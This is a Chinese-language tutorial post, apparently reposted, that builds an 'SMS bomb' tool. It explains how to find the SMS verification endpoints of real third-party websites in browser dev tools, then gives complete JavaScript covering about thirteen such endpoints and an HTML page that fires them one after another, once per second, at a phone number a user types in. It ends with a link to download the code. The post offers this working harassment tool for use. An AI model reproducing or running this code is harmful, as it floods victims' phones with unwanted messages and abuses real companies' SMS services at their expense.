一、原理
利用請求第三方網站短信注冊或者登陸介面來向指定的手機號碼發送驗證碼,
二、如何獲取第三方網站短信介面
我們以千庫編輯網站為例:https://editor.588ku.com/,以下為千庫編輯的手機驗證碼登陸頁面

在瀏覽器打開控制臺,在輸入框輸入手機號碼,點擊獲取驗證碼按鈕,同時我們發現向服務器發送一個請求


點擊“send-tel-login-code”,查看Headers,我們會發現向https://editor.588ku.com/site-api/send-tel-login-code這個地址發起了一個GET請求,有引數:num、csrfToken,發現num的指正是我們在頁面輸入的手機號,那個這個請求會不會就是向13222222222這個手機號發送一個驗證碼的請求呢?

我們在本地寫一段代碼,用ajax上面的地址發送一個GET請求,引數和上面一樣,呼叫test()方法,我這里用我手機號碼測驗的,會發現手機收到了千庫網的短信驗證碼,


三、代碼實作
利用上面思路,我們找到大量類似這種的第三方網站介面,以下是我找的
var requestList = [
{
name: '工圖網',
fn: function (phone) {
$.ajax({
url: "http://www.900ppt.com/api/login/getSmsCode",
data: {
phone: phone,
easy: 1
},
type: "GET",
dataType: "json",
});
}
},
{
name: '千庫編輯',
fn: function (phone) {
$.ajax({
url: 'https://editor.588ku.com/site-api/send-tel-login-code',
type: 'GET',
data:{
num: phone,
},
async: false
});
}
},
{
name: '少兒編程',
fn: function (phone) {
$.ajax({
url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",
type: "post",
data: {phone: phone,},
dataType: "json",
})
}
},
{
name: '圖怪獸',
fn: function (phone) {
$.ajax({
type: 'GET',
url: 'https://818ps.com/site-api/send-tel-login-code?num=' + phone,
dataType: 'json',
async: false,
});
}
},
{
name: '泰康在線',
fn: function (phone) {
function encrypt(data) {
var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");
var srcs = CryptoJS.enc.Utf8.parse(data);
var encrypted = CryptoJS.AES.encrypt(srcs, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted + "";
}
phone = encodeURIComponent(encrypt(phone))
$.ajax({
'url': 'http://ecs.tk.cn/eservice/member/login',
'type': 'post',
'data': 'syn=Y&functioncode=getmark&mobile=' + phone,
'dataType': 'json',
});
}
},
{
name: '大麥網',
fn: function (phone) {
$.ajax({
'url': 'https://ipassport.damai.cn/newlogin/sms/send.do?appName=damai&fromSite=18',
'type': 'post',
'data': {
phoneCode: '86',
loginId: phone,
countryCode: 'CN',
umidGetStatusVal: 255,
navlanguage: 'zh-CN',
navPlatform: 'MacIntel',
appName: 'damai',
appEntrance: 'damai',
_csrf_token: '23oX2Nx9U8f1fAY70GEnkA',
umidToken: '3052e89b053c39db7435508f6158f606acf913f8',
isMobile: false,
},
dataType: 'json',
});
}
},
{
name: "快名網",
fn: function (phone) {
$.ajax({
url: "http://www.kuaiming.com/user_zhu/getsjcode1",
type: "POST",
dataType: "json",
data: {
userName: phone
},
})
}
},
{
name: '光大永明人壽',
fn: function (phone) {
$.ajax({
url: "https://www.sunlife-everbright.com/eportal/ui?struts.portlet.mode=view&struts.portlet.action=/portlet/CommonPageAjaxFront!memberCookies.action&moduleId=dc3a284c84fd4b818a3681828fcd2775&action=SendSmsCode\n",
type: "POST",
dataType: "json",
data: {
mobile: phone,
action: 'SendSmsCode',
},
})
}
},
{
name: "迅捷",
fn: function (phone) {
$.ajax({
url: 'http://user.api.hudunsoft.com/v1/sms',
type: 'post',
data: {
client: "web",
client_ver: "4.3.6.0",
code: "",
device_id: "209a642e56584b2c820b83a95245daf1",
domain: "http://huatu.98youxi.com",
phone: phone,
soft_version: "1.3",
source: "122",
uuid: "209a642e56584b2c820b83a95245daf1",
version: "v1.0.0",
},
dataType: 'json',
})
}
},
{
name: "學而思",
fn: function (phone) {
$.ajax({
url: 'https://zaixian.izhikang.com/izk/index.php/welcome/send_sms_noauth',
type: 'post',
data: {
mobile: phone,
type: 'oneToOneBeforehand'
},
dataType: 'json',
})
}
},
{
name: "火花思維",
fn: function (phone) {
$.ajax({
url: 'https://www.huohua.cn/passport/auth_code/send',
contentType: "application/json;charset=UTF-8",
type: 'post',
data: '{"authType": "2", "countryCode": "86", "phone": "' + phone + '"}',
dataType: 'json',
})
}
},
{
name: "編程貓",
fn: function (phone) {
$.ajax({
url: 'https://open-service.codemao.cn/captcha/rule',
contentType: "application/json;charset=UTF-8",
type: 'post',
data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',
dataType: 'json',
success: function (data) {
$.ajax({
url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',
contentType: "application/json;charset=UTF-8",
type: 'post',
data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',
dataType: 'json',
})
}
})
}
},
{
name: "掌門少兒",
fn: function (phone) {
$.ajax({
url: 'https://app-gateway.zmlearn.com/api/operation-web-server/v1/ow/validateChildCode',
type: 'POST',
headers: {'Content-Type': 'application/json; charset=utf-8'},
dataType: 'json',
data: JSON.stringify({mobile: '86-' + phone}),
})
},
}
]
撰寫前端邏輯代碼
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MessageBomb</title>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
<link href="plug/bootstrap/bootstrap.min.css" rel="stylesheet">
<script src="plug/jquery/jquery-3.4.1.min.js"></script>
<script src="plug/bootstrap/bootstrap.min.js"></script>
<script src="plug/crypto/crypto-js.js"></script>
<script src="index.js"></script>
</head>
<body>
<div class="row p-3">
<div class="col-12">
<div class="card border-danger border-1">
<div class="card-header bg-danger text-white">
Message Bomb
</div>
<div class="card-body ">
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text">手機號</span>
</div>
<input type="text" class="form-control" placeholder="" id="phone">
</div>
<button class="btn btn-success" id="start" onclick="send()">啟動執行緒</button>
<button class="btn btn-danger" id="'end" onclick="end()">停止執行緒</button>
<button class="btn btn-primary float-right" onclick="test('13222222222')">單元測驗</button>
<div class="alert alert-success mt-3 text-center" id="msg" role="alert">準備轟炸</div>
</div>
</div>
</div>
</div>
<script>
var timer = null
var index = 0
// 開始發送
function send() {
$('#start').attr('disabled', true)
$('#phone').attr('disabled', true)
var phone = $("#phone").val()
if (phone.length != 11) {
$('#msg').text('請輸入正確的手機號')
return
}
$('#msg').text('正在向:' + phone + '發送')
$('#msg').show()
timer = setInterval(function () {
if (index >= requestList.length) {
index = 0;
}
requestList[index++].fn(phone)
}, 1000)
}
// 停止發送
function end() {
$('#start').attr('disabled', false)
$('#phone').attr('disabled', false)
$('#msg').text('準備轟炸')
clearTimeout(timer)
}
// 測驗發送
function test(phone = '') {
$.ajax({
url: 'https://editor.588ku.com/site-api/send-tel-login-code',
type: 'GET',
data:{
num: phone,
},
async: false
});
}
</script>
</body>
</html>
效果展示,在短短10秒內,我收到了十幾條短信驗證碼,


四、代碼下載
https://download.csdn.net/download/weixin_43532890/15542880
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/265940.html
標籤:其他
